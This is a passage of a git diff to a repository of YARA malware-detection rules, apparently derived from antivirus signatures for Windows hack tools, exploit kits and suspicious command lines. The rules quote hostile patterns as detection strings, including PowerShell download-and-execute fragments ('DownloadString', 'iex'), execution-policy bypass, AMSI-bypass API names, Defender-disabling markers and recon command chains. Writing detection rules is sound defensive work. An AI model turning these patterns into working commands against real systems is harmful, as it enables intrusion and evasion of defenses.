61 62 6c 65 43 68 65 63 6b 73 } //1 vulnerableChecks + $a_81_3 = {54 6f 6b 65 6e 47 72 6f 75 70 73 41 6e 64 50 72 69 76 69 6c 65 67 65 73 } //1 TokenGroupsAndPrivileges + $a_81_4 = {4d 6f 64 69 66 69 61 62 6c 65 53 65 72 76 69 63 65 42 69 6e 61 72 69 65 73 } //1 ModifiableServiceBinaries + $a_81_5 = {47 65 74 52 65 67 56 61 6c 75 65 73 } //1 GetRegValues + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/VirTool/Win32/CVE-2025-21333/VirTool_Win32_CVE-2025-21333_B.yar b/VirTool/Win32/CVE-2025-21333/VirTool_Win32_CVE-2025-21333_B.yar new file mode 100644 index 0000000000..d0d93bec2b --- /dev/null +++ b/VirTool/Win32/CVE-2025-21333/VirTool_Win32_CVE-2025-21333_B.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win32_CVE-2025-21333_B{ + meta: + description = "VirTool:Win32/CVE-2025-21333.B,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_03_0 = {83 c4 0c 6a 04 68 00 30 00 00 68 00 50 00 00 6a 00 ff ?? 68 00 50 00 00 50 a3 ?? ?? ?? ?? ff } //1 + $a_03_1 = {6a 00 6a 00 68 00 10 00 00 68 00 10 00 00 68 ff 00 00 00 6a 00 6a 03 68 ?? ?? ?? ?? ff } //1 + $a_01_2 = {c7 01 00 00 05 03 c7 41 04 57 6e 66 20 c7 41 08 42 42 42 42 } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/VirTool/Win32/CVE-2025-48799/VirTool_Win32_CVE-2025-48799_A.yar b/VirTool/Win32/CVE-2025-48799/VirTool_Win32_CVE-2025-48799_A.yar new file mode 100644 index 0000000000..250e11e5d1 --- /dev/null +++ b/VirTool/Win32/CVE-2025-48799/VirTool_Win32_CVE-2025-48799_A.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win32_CVE-2025-48799_A{ + meta: + description = "VirTool:Win32/CVE-2025-48799.A,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {89 45 80 8d ?? ?? 6a 01 50 ff ?? ?? ?? ?? ?? 6a 00 6a 00 6a 01 ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? c7 45 8c 0c 00 00 00 89 45 ?? 8d ?? ?? 50 ?? ?? ?? ?? ?? c7 45 94 00 00 00 00 ff ?? ?? ?? ?? ?? 6a 00 68 00 00 00 02 6a 03 6a 00 6a 07 68 40 00 06 80 } //1 + $a_03_1 = {c6 05 b0 a6 40 00 00 e8 ?? ?? ?? ?? 6a 00 c7 45 fc 00 00 00 00 ?? ?? ?? 83 7d c0 07 6a 00 0f 47 4d ac 51 68 ?? ?? ?? ?? 6a 00 6a 00 ff ?? ?? ?? ?? ?? 0f 57 c0 c7 45 e8 00 00 00 00 33 c0 c7 45 ec 07 00 00 00 0f 11 45 d8 66 89 45 d8 c6 45 fc 01 8b 7d 88 50 50 ?? ?? ?? 50 6a 01 6a 00 68 00 00 10 00 57 ff 75 84 ff } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win32/Defnot/VirTool_Win32_Defnot_B.yar b/VirTool/Win32/Defnot/VirTool_Win32_Defnot_B.yar new file mode 100644 index 0000000000..cff0ea5be8 --- /dev/null +++ b/VirTool/Win32/Defnot/VirTool_Win32_Defnot_B.yar @@ -0,0 +1,13 @@ + +rule VirTool_Win32_Defnot_B{ + meta: + description = "VirTool:Win32/Defnot.B,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 00 " + + strings : + $a_03_0 = {6a 00 56 ff ?? ?? ?? ?? ?? 8b c8 83 f9 ff 89 0f 0f 95 c0 88 47 04 ?? ?? 6a 02 6a 00 6a 00 56 51 ff } //10 + $a_01_1 = {8b 45 20 0b 45 24 6a 00 50 ff 75 18 ff 75 0c ff 75 1c ff 75 14 ff 75 08 ff } //1 + $a_01_2 = {64 65 66 65 6e 64 65 72 2d 64 69 73 61 62 6c 65 72 2d 69 70 63 } //1 defender-disabler-ipc + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/VirTool/Win32/DelfInject/VirTool_Win32_DelfInject_gen_BB.yar b/VirTool/Win32/DelfInject/VirTool_Win32_DelfInject_gen_BB.yar index 2eead0382e..0407f72c5d 100644 --- a/VirTool/Win32/DelfInject/VirTool_Win32_DelfInject_gen_BB.yar +++ b/VirTool/Win32/DelfInject/VirTool_Win32_DelfInject_gen_BB.yar @@ -9,7 +9,7 @@ rule VirTool_Win32_DelfInject_gen_BB{ $a_53_2 = {74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 0c } //4096 $a_73_3 = {6d 65 54 68 72 65 61 64 01 00 12 11 45 6e 75 6d 52 65 73 6f 75 72 63 65 4e 61 6d 65 73 41 01 00 0e 11 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 01 00 0e 11 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 11 11 52 65 61 64 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 5d 04 00 00 34 3a 02 80 5c 22 00 00 } //21009 $a_80_4 = {00 02 } // 14902 - $a_52_6 = {62 68 69 70 2e 41 00 00 3e 48 03 00 05 82 64 00 04 00 27 0b 00 00 00 01 c2 ee 49 1a 00 98 46 7f 02 } //-23552 + $a_52_6 = {62 68 69 70 2e 41 00 00 1d 48 03 00 05 82 64 00 04 00 27 0b 00 00 00 01 c2 ee 49 1a 00 98 46 7f 02 } //-23552 condition: ((#a_03_0 & 1)*10+(#a_11_1 & 1)*1+(#a_53_2 & 1)*4096+(#a_73_3 & 1)*21009+(#a_80_4 & 1)*14902+(#a_52_6 & 1)*-23552) >=15 diff --git a/VirTool/Win32/ExecutionFromADS/VirTool_Win32_ExecutionFromADS_A.yar b/VirTool/Win32/ExecutionFromADS/VirTool_Win32_ExecutionFromADS_A.yar deleted file mode 100644 index 1e3a4b7db5..0000000000 --- a/VirTool/Win32/ExecutionFromADS/VirTool_Win32_ExecutionFromADS_A.yar +++ /dev/null @@ -1,11 +0,0 @@ - -rule VirTool_Win32_ExecutionFromADS_A{ - meta: - description = "VirTool:Win32/ExecutionFromADS.A,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " - - strings : - $a_02_0 = {5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 61 00 69 00 5f 00 61 00 6c 00 74 00 65 00 72 00 6e 00 61 00 74 00 65 00 5f 00 73 00 74 00 72 00 65 00 61 00 6d 00 5f 00 [0-20] 3a 00 } //1 - condition: - ((#a_02_0 & 1)*1) >=1 - -} \ No newline at end of file diff --git a/VirTool/Win32/ExecutionFromADS/VirTool_Win32_ExecutionFromADS_B.yar b/VirTool/Win32/ExecutionFromADS/VirTool_Win32_ExecutionFromADS_B.yar new file mode 100644 index 0000000000..4583a65b86 --- /dev/null +++ b/VirTool/Win32/ExecutionFromADS/VirTool_Win32_ExecutionFromADS_B.yar @@ -0,0 +1,11 @@ + +rule VirTool_Win32_ExecutionFromADS_B{ + meta: + description = "VirTool:Win32/ExecutionFromADS.B,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_02_0 = {5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 61 00 69 00 5f 00 61 00 6c 00 74 00 65 00 72 00 6e 00 61 00 74 00 65 00 5f 00 73 00 74 00 72 00 65 00 61 00 6d 00 5f 00 [0-20] 3a 00 61 00 69 00 2d 00 } //3 + condition: + ((#a_02_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/VirTool/Win32/InjectRemoteThread/VirTool_Win32_InjectRemoteThread_NP.yar b/VirTool/Win32/InjectRemoteThread/VirTool_Win32_InjectRemoteThread_NP.yar new file mode 100644 index 0000000000..182e80a92f --- /dev/null +++ b/VirTool/Win32/InjectRemoteThread/VirTool_Win32_InjectRemoteThread_NP.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win32_InjectRemoteThread_NP{ + meta: + description = "VirTool:Win32/InjectRemoteThread.NP,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_80_0 = {5c 70 68 6f 6e 65 68 6f 6d 65 2e 64 6c 6c } //\phonehome.dll 1 + $a_80_1 = {5c 74 65 6d 70 5c 73 62 } //\temp\sb 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/VirTool/Win32/Makarand/VirTool_Win32_Makarand_A.yar b/VirTool/Win32/Makarand/VirTool_Win32_Makarand_A.yar new file mode 100644 index 0000000000..4e93e229b2 --- /dev/null +++ b/VirTool/Win32/Makarand/VirTool_Win32_Makarand_A.yar @@ -0,0 +1,18 @@ + +rule VirTool_Win32_Makarand_A{ + meta: + description = "VirTool:Win32/Makarand.A,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_81_0 = {61 32 56 79 62 6d 56 73 4d 7a 49 75 5a 47 78 73 } //1 a2VybmVsMzIuZGxs + $a_81_1 = {62 6e 52 6b 62 47 77 75 5a 47 78 73 } //1 bnRkbGwuZGxs + $a_81_2 = {54 47 39 68 5a 45 78 70 59 6e 4a 68 63 6e 6c 42 } //1 TG9hZExpYnJhcnlB + $a_81_3 = {52 32 56 30 55 48 4a 76 59 30 46 6b 5a 48 4a 6c 63 33 4d } //1 R2V0UHJvY0FkZHJlc3M + $a_81_4 = {56 6d 6c 79 64 48 56 68 62 46 42 79 62 33 52 6c 59 33 51 } //1 VmlydHVhbFByb3RlY3Q + $a_81_5 = {59 57 31 7a 61 53 35 6b 62 47 77 } //1 YW1zaS5kbGw + $a_81_6 = {51 57 31 7a 61 56 4e 6a 59 57 35 43 64 57 5a 6d 5a 58 49 } //1 QW1zaVNjYW5CdWZmZXI + $a_81_7 = {52 58 52 33 52 58 5a 6c 62 6e 52 58 63 6d 6c 30 5a 51 } //1 RXR3RXZlbnRXcml0ZQ + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/VirTool/Win32/MaleficAms/VirTool_Win32_MaleficAms_A.yar b/VirTool/Win32/MaleficAms/VirTool_Win32_MaleficAms_A.yar new file mode 100644 index 0000000000..ad993ad935 --- /dev/null +++ b/VirTool/Win32/MaleficAms/VirTool_Win32_MaleficAms_A.yar @@ -0,0 +1,15 @@ + +rule VirTool_Win32_MaleficAms_A{ + meta: + description = "VirTool:Win32/MaleficAms.A,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 ::FromBase64String($ + $a_00_1 = {2e 00 57 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 .Webclient + $a_00_2 = {2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .GetString($ + $a_00_3 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .DownloadString($ + $a_00_4 = {69 00 65 00 78 00 } //1 iex + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/VirTool/Win32/Obfuscator/VirTool_Win32_Obfuscator_PX.yar b/VirTool/Win32/Obfuscator/VirTool_Win32_Obfuscator_PX.yar index 2b25f3c049..dc91b61c2b 100644 --- a/VirTool/Win32/Obfuscator/VirTool_Win32_Obfuscator_PX.yar +++ b/VirTool/Win32/Obfuscator/VirTool_Win32_Obfuscator_PX.yar @@ -30,7 +30,7 @@ rule VirTool_Win32_Obfuscator_PX_3{ strings : $a_13_0 = {85 91 fd ff ff 44 90 02 20 c6 85 92 fd ff ff 56 90 02 20 c6 85 93 fd ff ff 41 90 02 20 c6 85 94 fd ff ff 50 90 00 01 } //1 $a_c6_1 = {91 fd ff ff 49 90 01 0c c6 85 92 fd ff ff 4e 90 01 0c c6 } //9984 - $a_ff_2 = {53 90 01 0c c6 85 94 fd ff ff 50 90 00 01 00 27 13 c6 85 50 fd ff ff 61 90 01 0c c6 85 51 fd ff ff 64 90 01 0c c6 85 52 fd ff ff 76 90 01 0c c6 85 53 fd ff ff 61 90 00 00 00 5d 04 00 00 3e 7c 02 80 5c 1e 00 00 3f 7c 02 80 00 00 01 00 08 00 08 00 ac 21 56 42 2e 59 41 59 00 00 01 40 05 82 70 00 04 00 80 10 00 00 9d fc 05 7f d4 0b cb 3a d8 64 2e 80 c0 ff 00 80 5d 04 00 00 3f 7c 02 80 5c 1e 00 00 41 7c 02 80 00 00 01 00 08 00 08 00 ac 21 47 79 70 6c 69 74 00 00 01 40 05 82 70 00 04 00 50 14 00 00 47 47 1c 15 2c c5 92 74 00 00 22 00 dd c1 1b fe 02 00 00 00 5d 04 00 00 41 7c 02 80 5c 20 00 00 42 7c 02 80 00 00 01 00 08 00 0a 00 ac 21 47 79 70 6c 69 74 2e 41 00 00 04 40 05 82 70 00 04 00 67 16 00 00 40 9e ad 06 60 68 ed e6 70 eb 1d 77 00 98 00 00 01 20 70 } //-27771 + $a_ff_2 = {53 90 01 0c c6 85 94 fd ff ff 50 90 00 01 00 27 13 c6 85 50 fd ff ff 61 90 01 0c c6 85 51 fd ff ff 64 90 01 0c c6 85 52 fd ff ff 76 90 01 0c c6 85 53 fd ff ff 61 90 00 00 00 5d 04 00 00 3e 7c 02 80 5c 1e 00 00 3f 7c 02 80 00 00 01 00 08 00 08 00 ac 21 56 42 2e 59 41 59 00 00 01 40 05 82 70 00 04 00 80 10 00 00 9d fc 05 7f d4 0b cb 3a d8 64 2e 80 c0 ff 00 80 5d 04 00 00 3f 7c 02 80 5c 1e 00 00 41 7c 02 80 00 00 01 00 08 00 08 00 ac 21 47 79 70 6c 69 74 00 00 01 40 05 82 70 00 04 00 50 14 00 00 47 47 1c 15 2c c5 92 74 00 00 22 00 dd c1 1b fe 02 00 00 00 5d 04 00 00 41 7c 02 80 5c 20 00 00 42 7c 02 80 00 00 01 00 08 00 0a 00 ac 21 47 79 70 6c 69 74 2e 41 00 00 02 40 05 82 70 00 04 00 67 16 00 00 f0 a8 e6 b6 c9 1f 78 16 10 24 12 32 00 48 01 00 01 20 34 } //-27771 condition: ((#a_13_0 & 1)*1+(#a_c6_1 & 1)*9984+(#a_ff_2 & 1)*-27771) >=1 diff --git a/VirTool/Win32/RefLoad/VirTool_Win32_RefLoad_A.yar b/VirTool/Win32/RefLoad/VirTool_Win32_RefLoad_A.yar new file mode 100644 index 0000000000..454145a0ac --- /dev/null +++ b/VirTool/Win32/RefLoad/VirTool_Win32_RefLoad_A.yar @@ -0,0 +1,18 @@ + +rule VirTool_Win32_RefLoad_A{ + meta: + description = "VirTool:Win32/RefLoad.A,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 08 00 00 " + + strings : + $a_03_0 = {4d 5a e8 00 00 00 00 5b 52 45 55 8b ec 81 c3 ?? ?? ?? ?? ff d3 c9 c3 } //5 + $a_01_1 = {5b bc 4a 6a } //1 + $a_01_2 = {5d 68 fa 3c } //1 + $a_01_3 = {8e 4e 0e ec } //1 + $a_01_4 = {aa fc 0d 7c } //1 + $a_01_5 = {1b c6 46 79 } //1 + $a_01_6 = {b8 0a 4c 53 } //1 + $a_01_7 = {54 ca af 91 } //1 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/VirTool/Win32/SuspKillService/VirTool_Win32_SuspKillService_C.yar b/VirTool/Win32/SuspKillService/VirTool_Win32_SuspKillService_C.yar new file mode 100644 index 0000000000..acf63ca64d --- /dev/null +++ b/VirTool/Win32/SuspKillService/VirTool_Win32_SuspKillService_C.yar @@ -0,0 +1,12 @@ + +rule VirTool_Win32_SuspKillService_C{ + meta: + description = "VirTool:Win32/SuspKillService.C,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_02_0 = {6e 00 75 00 6c 00 20 00 26 00 20 00 6e 00 65 00 74 00 20 00 73 00 74 00 6f 00 70 00 [0-18] 20 00 26 00 } //1 + $a_02_1 = {6e 75 6c 20 26 20 6e 65 74 20 73 74 6f 70 [0-18] 20 26 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/VirTool/Win32/SuspPowerShellCmd/VirTool_Win32_SuspPowerShellCmd_BA.yar b/VirTool/Win32/SuspPowerShellCmd/VirTool_Win32_SuspPowerShellCmd_BA.yar new file mode 100644 index 0000000000..e9fe0cde9d --- /dev/null +++ b/VirTool/Win32/SuspPowerShellCmd/VirTool_Win32_SuspPowerShellCmd_BA.yar @@ -0,0 +1,14 @@ + +rule VirTool_Win32_SuspPowerShellCmd_BA{ + meta: + description = "VirTool:Win32/SuspPowerShellCmd.BA,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_80_0 = {26 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 } //& c:\windows\system32\windowspowershell\v1.0\powershell.exe 1 + $a_80_1 = {2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 63 6f 6d 6d 61 6e 64 20 } //-exec bypass -command 1 + $a_80_2 = {49 4f 2e 46 69 6c 65 53 74 72 65 61 6d 20 27 5c 5c 2e 5c 43 3a 27 } //IO.FileStream '\\.\C:' 1 + $a_80_3 = {27 4f 70 65 6e 27 2c 20 27 52 65 61 64 27 2c 20 27 52 65 61 64 57 72 69 74 65 27 } //'Open', 'Read', 'ReadWrite' 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/VirTool/Win32/SuspPowerShellCmd/VirTool_Win32_SuspPowerShellCmd_BL.yar b/VirTool/Win32/SuspPowerShellCmd/VirTool_Win32_SuspPowerShellCmd_BL.yar new file mode 100644 index 0000000000..749169e868 --- /dev/null +++ b/VirTool/Win32/SuspPowerShellCmd/VirTool_Win32_SuspPowerShellCmd_BL.yar @@ -0,0 +1,16 @@ + +rule VirTool_Win32_SuspPowerShellCmd_BL{ + meta: + description = "VirTool:Win32/SuspPowerShellCmd.BL,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 06 00 00 " + + strings : + $a_80_0 = {26 20 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 33 32 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 } //& c:\windows\system32\windowspowershell\v1.0\powershell.exe 3 + $a_80_1 = {2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 63 6f 6d 6d 61 6e 64 20 } //-exec bypass -command 3 + $a_80_2 = {73 65 74 2d 70 73 72 65 61 64 6c 69 6e 65 6f 70 74 69 6f 6e } //set-psreadlineoption 3 + $a_80_3 = {2d 68 69 73 74 6f 72 79 73 61 76 65 73 74 79 6c 65 20 73 61 76 65 6e 6f 74 68 69 6e 67 } //-historysavestyle savenothing 1 + $a_80_4 = {2d 68 69 73 74 6f 72 79 73 61 76 65 70 61 74 68 20 24 7b 74 65 6d 70 7d 2f } //-historysavepath ${temp}/ 1 + $a_80_5 = {2d 6d 61 78 69 6d 75 6d 68 69 73 74 6f 72 79 63 6f 75 6e 74 20 31 } //-maximumhistorycount 1 1 + condition: + ((#a_80_0 & 1)*3+(#a_80_1 & 1)*3+(#a_80_2 & 1)*3+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/VirTool/Win32/SuspPowershellCommand/VirTool_Win32_SuspPowershellCommand_A.yar b/VirTool/Win32/SuspPowershellCommand/VirTool_Win32_SuspPowershellCommand_A.yar index e4e89e083f..f52c3f9742 100644 --- a/VirTool/Win32/SuspPowershellCommand/VirTool_Win32_SuspPowershellCommand_A.yar +++ b/VirTool/Win32/SuspPowershellCommand/VirTool_Win32_SuspPowershellCommand_A.yar @@ -1,7 +1,7 @@ rule VirTool_Win32_SuspPowershellCommand_A{ meta: - description = "VirTool:Win32/SuspPowershellCommand.A,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 05 00 00 " + description = "VirTool:Win32/SuspPowershellCommand.A,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 06 00 00 " strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell @@ -9,7 +9,8 @@ rule VirTool_Win32_SuspPowershellCommand_A{ $a_00_2 = {2d 00 65 00 6e 00 63 00 } //1 -enc $a_01_3 = {43 00 67 00 41 00 6b 00 41 00 46 00 4d 00 41 00 59 00 77 00 42 00 79 00 41 00 47 00 6b 00 41 00 63 00 41 00 42 00 30 00 41 00 43 00 41 00 41 00 50 00 51 00 41 00 67 00 41 00 48 00 73 00 41 00 62 00 67 00 42 00 6c 00 41 00 48 00 51 00 41 00 63 00 77 00 42 00 30 00 41 00 47 00 45 00 41 00 64 00 41 00 41 00 75 00 41 00 47 00 55 00 41 00 65 00 41 00 42 00 6c 00 41 00 43 00 41 00 41 00 4c 00 51 00 42 00 68 00 41 00 47 00 34 00 41 00 49 00 41 00 41 00 74 00 } //-100 CgAkAFMAYwByAGkAcAB0ACAAPQAgAHsAbgBlAHQAcwB0AGEAdAAuAGUAeABlACAALQBhAG4AIAAt $a_01_4 = {20 00 2d 00 4e 00 6f 00 4c 00 6f 00 67 00 6f 00 20 00 2d 00 4e 00 6f 00 6e 00 49 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 00 20 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 55 00 6e 00 72 00 65 00 73 00 74 00 72 00 69 00 63 00 74 00 65 00 64 00 20 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 4e 00 6f 00 50 00 72 00 6f 00 66 00 69 00 6c 00 65 00 20 00 2d 00 45 00 6e 00 63 00 6f 00 64 00 65 00 64 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 } //-100 -NoLogo -NonInteractive -ExecutionPolicy Unrestricted -WindowStyle Hidden -NoProfile -EncodedCommand + $a_01_5 = {40 00 7b 00 7d 00 3b 00 20 00 24 00 4c 00 69 00 73 00 74 00 20 00 3d 00 20 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6c 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 73 00 2e 00 47 00 65 00 6e 00 65 00 72 00 69 00 63 00 2e 00 4c 00 69 00 73 00 74 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4f 00 62 00 6a 00 65 00 63 00 74 00 5d 00 3b 00 47 00 65 00 74 00 2d 00 43 00 68 00 69 00 6c 00 64 00 49 00 74 00 65 00 6d 00 20 00 27 00 48 00 4b 00 4c 00 4d 00 3a 00 5c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 } //-100 @{}; $List = New-Object System.Collections.Generic.List[System.Object];Get-ChildItem 'HKLM:\SOFTWARE\ condition: - ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_01_3 & 1)*-100+(#a_01_4 & 1)*-100) >=3 + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_01_3 & 1)*-100+(#a_01_4 & 1)*-100+(#a_01_5 & 1)*-100) >=3 } \ No newline at end of file diff --git a/VirTool/Win32/SuspSystemDiscovery/VirTool_Win32_SuspSystemDiscovery_BS.yar b/VirTool/Win32/SuspSystemDiscovery/VirTool_Win32_SuspSystemDiscovery_BS.yar new file mode 100644 index 0000000000..ada5f71f85 --- /dev/null +++ b/VirTool/Win32/SuspSystemDiscovery/VirTool_Win32_SuspSystemDiscovery_BS.yar @@ -0,0 +1,27 @@ + +rule VirTool_Win32_SuspSystemDiscovery_BS{ + meta: + description = "VirTool:Win32/SuspSystemDiscovery.BS,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 11 00 00 " + + strings : + $a_80_0 = {20 26 20 6e 65 74 20 61 63 63 6f 75 6e 74 73 20 26 20 } // & net accounts & 1 + $a_80_1 = {20 26 20 6e 65 74 20 73 65 73 73 69 6f 6e 20 26 20 } // & net session & 1 + $a_80_2 = {20 26 20 71 77 69 6e 73 74 61 20 26 20 } // & qwinsta & 1 + $a_80_3 = {20 26 20 6e 65 74 20 63 6f 6e 66 69 67 20 73 65 72 76 65 72 20 26 20 } // & net config server & 1 + $a_80_4 = {20 26 20 77 6d 69 63 20 62 69 6f 73 20 26 20 } // & wmic bios & 1 + $a_80_5 = {20 26 20 77 6d 69 63 20 71 66 65 20 67 65 74 20 68 6f 74 66 69 78 69 64 20 26 20 } // & wmic qfe get hotfixid & 1 + $a_80_6 = {20 26 20 77 6d 69 63 20 73 74 61 72 74 75 70 20 26 20 } // & wmic startup & 1 + $a_80_7 = {20 26 20 77 6d 69 63 20 6f 73 20 26 20 } // & wmic os & 1 + $a_80_8 = {20 26 20 77 6d 69 63 20 75 73 65 72 61 63 63 6f 75 6e 74 20 67 65 74 20 2f 61 6c 6c 20 26 20 } // & wmic useraccount get /all & 1 + $a_80_9 = {20 26 20 77 6d 69 63 20 73 68 61 72 65 20 67 65 74 20 2f 61 6c 6c 20 26 20 } // & wmic share get /all & 1 + $a_80_10 = {20 26 20 77 6d 69 63 20 73 65 72 76 69 63 65 20 62 72 69 65 66 20 26 20 } // & wmic service brief & 1 + $a_80_11 = {20 26 20 77 6d 69 63 20 70 61 74 68 20 77 69 6e 33 32 5f 6c 6f 67 69 63 61 6c 64 69 73 6b 20 67 65 74 20 63 61 70 74 69 6f 6e 2c 66 69 6c 65 73 79 73 74 65 6d 2c 66 72 65 65 73 70 61 63 65 2c 73 69 7a 65 2c 76 6f 6c 75 6d 65 6e 61 6d 65 20 26 20 } // & wmic path win32_logicaldisk get caption,filesystem,freespace,size,volumename & 1 + $a_80_12 = {20 26 20 70 6f 77 65 72 73 68 65 6c 6c 20 2d 65 78 65 63 75 74 69 6f 6e 70 6f 6c 69 63 79 20 62 79 70 61 73 73 20 2d 63 6f 6d 6d 61 6e 64 20 22 67 65 74 2d 65 76 65 6e 74 6c 6f 67 20 73 65 63 75 72 69 74 79 20 2d 69 6e 73 74 61 6e 63 65 69 64 } // & powershell -executionpolicy bypass -command "get-eventlog security -instanceid 1 + $a_80_13 = {20 26 20 64 6e 73 63 6d 64 20 2e 20 2f 65 6e 75 6d 7a 6f 6e 65 73 20 26 20 } // & dnscmd . /enumzones & 1 + $a_80_14 = {6e 75 6c 20 26 20 6e 65 74 73 68 20 66 69 72 65 77 61 6c 6c 20 73 68 6f 77 20 73 74 61 74 65 20 26 20 } //nul & netsh firewall show state & 1 + $a_80_15 = {6e 75 6c 20 26 20 69 70 63 6f 6e 66 69 67 20 2f 61 6c 6c 20 26 20 } //nul & ipconfig /all & 1 + $a_80_16 = {6e 75 6c 20 26 20 72 6f 75 74 65 20 70 72 69 6e 74 20 26 20 } //nul & route print & 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/VirTool/Win32/UACBypassExp/VirTool_Win32_UACBypassExp_gen_B.yar 